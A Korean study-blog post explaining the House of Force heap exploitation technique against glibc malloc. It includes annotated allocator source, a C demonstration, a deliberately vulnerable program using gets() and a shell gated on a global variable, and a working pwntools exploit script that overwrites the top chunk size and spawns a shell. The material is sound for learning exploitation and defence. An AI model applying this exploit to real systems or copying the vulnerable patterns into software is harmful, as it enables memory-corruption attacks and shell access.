[Heap] House of Force
System/System Hacking

[Heap] House of Force

House of Force

top chunk의 size를 조작함으로써 임의의 주소에 힙 청크를 할당할 수 있게 하는 공격 기법


static void *
_int_malloc (mstate av, size_t bytes)
{
  INTERNAL_SIZE_T nb;               /* normalized request size */
  ...
  mchunkptr remainder;              /* remainder from a split */
  unsigned long remainder_size;     /* its size */
...
    use_top:
      victim = av->top;
      size = chunksize (victim);
      if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
        {
          remainder_size = size - nb;
          remainder = chunk_at_offset (victim, nb);
          av->top = remainder;
          set_head (victim, nb | PREV_INUSE |
                    (av != &main_arena ? NON_MAIN_ARENA : 0));
          set_head (remainder, remainder_size | PREV_INUSE);
          check_malloced_chunk (av, victim, nb);
          void *p = chunk2mem (victim);
          alloc_perturb (p, bytes);
          return p;
        }
    ...
      else
        {
          void *p = sysmalloc (nb, av);
          if (p != NULL)
            alloc_perturb (p, bytes);
          return p;
        }
    }
}

△ _int_malloc 코드 중 top chunk를 처리하는 부분

 

º victim = av->top; size = chunksize (victim); 

: top chunk의 주소를 가져와(victim) 사이즈(size)를 얻는다.

º if((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) { ... } else { ... }

: top chunk의 size가 할당 요청 받은 크기 nb 보다 크거나 같은 지 검사하고,

top chunk의 size가 nb보다 크다면 힙 영역에 할당한다.

top chunk의 size가 nb보다 작다면 sysmalloc을 통해 추가적으로 영역을 매핑하고 할당한다.

 

▶ house of force 기법으로 top chunk의 size를 2^64-1(64bit) / 2^32-1(32bit)로 조작해
"임의의 주소 - top chunk의 주소 - 16" 크기의 힙 청크를 할당하고 한 번 더 힙 청크를 할당하면 임의의 주소에 힙 청크를 할당할 수 있게된다. (heap chunk의 header 부분에서 16byte만큼 있으니까 빼줌) (임의의 주소는 할당받기를 원하는 메모리의 주소)

 

º remainder = chunck_at_offset(victim, nb);

: chunk_at_offset 매크로를 이용해 top chunk의 주소가 topchunk 주소(victim) + 할당 요청 크기(nb)가 되는 것을 확인할 수 있다.


Example 1.

// gcc -o force1 force1.c
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
char target[] ="im target!\n";
int main(){
        char *buf1;
        char *trash;
        char *exploit;
        __uint64_t* top_chunk_size_addr;
        __uint64_t exploit_size = 0;
        __uint32_t target_addr = &target;
        buf1 = malloc(0x100);
        top_chunk_size_addr = buf1 + 0x108;
        fprintf(stderr,"target : %s\n", target);
        fprintf(stderr,"buf1 : 0x%x\n", buf1);
        fprintf(stderr,"top_chunk_size : 0x%x\n", top_chunk_size_addr);
        fprintf(stderr,"target_addr : 0x%x\n", 0x601048);
        *top_chunk_size_addr = 0xffffffffffffffff;
        exploit_size = target_addr - 0x10 - (__int64_t)top_chunk_size_addr - 0x8;
        fprintf(stderr,"exploit_size : 0x%lx\n", exploit_size);
        trash = malloc(exploit_size);
        exploit = malloc(0x100);
        fprintf(stderr,"malloc_addr : 0x%x\n", exploit);
        strcpy(exploit, "exploited!!!!!!");
        fprintf(stderr,"target : %s\n", target);
        return 0;
}

[익스플로잇(force1) 시나리오]

1. 힙 청크 할당(buf1)하고 top chunk의 주소 알아냄(top_chunk_size_addr)

2. top chunk의 size를 2^64-1 (∵ 64bit)(=0xffffffffffffffff)로 조작 

3. 할당할 크기(exploit_size)로 임의주소(target_addr)- 0x10 - top_chunk_size_addr - 0x8

→ 할당을 원하는 주소가 0x8로 정렬되었을 때는 0x8을 빼서 정확한 위치에 할당할 수 있다.

    힙 청크는 메타데이터의 크기인 0x10 바이트 단위로 정렬되기 때문에 현재 target_addr의 하위 바이트가 0x48이니까 0x40에 할당되게 하기 위한 것이다.

 

4. malloc함수로 한 번 더 할당하고 나면(trash) 임의의 영역에 힙 청크를 할당할 수 있음(exploit)을 확인

 

force1 실행결과


Example 2.

heap overflow가 발생하고 원하는 크기의 힙 청크를 할당할 수 있는 예제

// gcc -o force2 force2.c
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
__int64_t overwrite_me = 0;
int main(){
	char* buf1;
	char* buf2;
	char* trash;
	char malloc_size[21];
	setvbuf(stdout, 0, 2, 0);
	setvbuf(stdin, 0, 2, 0);
	buf1 = malloc(0x20);
	write(1, &buf1, 8);
	gets(buf1);
	write(1, "input malloc_size : ", 19);
	read(0, malloc_size, 21);
	trash = malloc(strtoull(malloc_size, NULL, 10));
	buf2 = malloc(0x100);
	write(1, "write to target : ", 17);
	read(0, buf2, 0x100);
	if(overwrite_me == 0xdeadbeefcafebabe){
		system("/bin/sh");
	}
	return 0;
}

[익스 시나리오]

1. write(1, &buf1, 19); 에서 힙 주소를 leak해서 top chunk의 주소를 계산

2. gets(buf1); 에서 heap overflow로 top chunk의 size를 2^64-1 (=0xffffffffffffffff)로 조작

3. read(0, malloc_size, 21);에서 overwrite_me 전역변수의 주소와 top chunk의 주소를 연산해 할당 크기를 전달

4. read(0, buf2, 0x100);에서 overwrite_me 전역변수에 0xdeadbeefcafebabe를 입력함으로써 값을 조작해 쉘을 획득

 

[실행/익스 짜기]

overwrite 전역 변수의 주소: 0x601090

# force2.py
from pwn import *
s = process('./force2')
#raw_input()

overwrite_me = 0x601090
heap_addr = u64(s.recv(5).ljust(8, '\x00'))
print hex(heap_addr)
topchunk_addr = heap_addr+0x28
print topchunk_addr
payload = '\x00'*0x28
payload += p64(0xffffffffffffffff)


s.sendline(payload)
gdb.attach(s)
target_size = 0xffffffffffffffff & (overwrite_me - 0x10 - topchunk_addr)
print target_size
s.sendline(str(target_size))
payload = p64(0xdeadbeefcafebabe)*2

s.sendline(payload)
s.interactive()

(raw_input()을 쓰면 실행이 안되고 가만히 있길래 그냥 지웠다..별로 중요하지 않다고 하셨따....)

 

º head_addr = u64(s.recv(5).ljust(8, '\x00'))

write함수를 이용해 힙 (buf1)의 주소를 화면에 출력하고 그 값을 읽어들인다. 이 때 8byte 정렬을 해주기 위해 "\x00"로 맞춰준다.

차례로 head_addr와 topchunk_addr를 출력한다.

 

º payload ~ s.sendline(payload)

heap과 topchunk의 주소를 leak하고 난 후에는

"힙 청크 크기 + 8" 을 채워 heap overflow를 시켜주고 0xffffffffffffffff을 넣어 topchunk의 size를 조작한다.

 

>> gdb.attach(s)의 위치를 s.sendline(str(target_size))의 앞으로 옮기고 다시 실행<<

 

º target_size = 0xffffffffffffffff & (overwrite_me - 0x10 - topchunk_addr)

"overwrite_me - 0x10 - tochunk_addr" 를 계산해 공격할 size(target_size)를 입력하고 target_size만큼의 크기로 할당(trash)하면 overwrite_me 전역변수에 힙 청크를 할당할 수 있게된다.

(35446840 = 0x21ce000 = 처음 구했던 top chunk의 주소)

º payload = p64(0xdeadbeefcafebabe)*2

overwrite_me 변수를 0xdeadbeefcafebabe로 덮어씌워 system("/bin/sh")에 도달할 수 있게된다.

 

SMALL

'System > System Hacking' 카테고리의 다른 글

[Protection Tech.] NX bit  (2) 2021.01.03
[Heap] Memory Leak  (0) 2020.11.16
[Heap] The House of Spirit  (0) 2020.09.30
[Heap] UAF(Use-After-Free)  (0) 2020.09.19
[Heap] Double Free 취약점  (0) 2020.09.17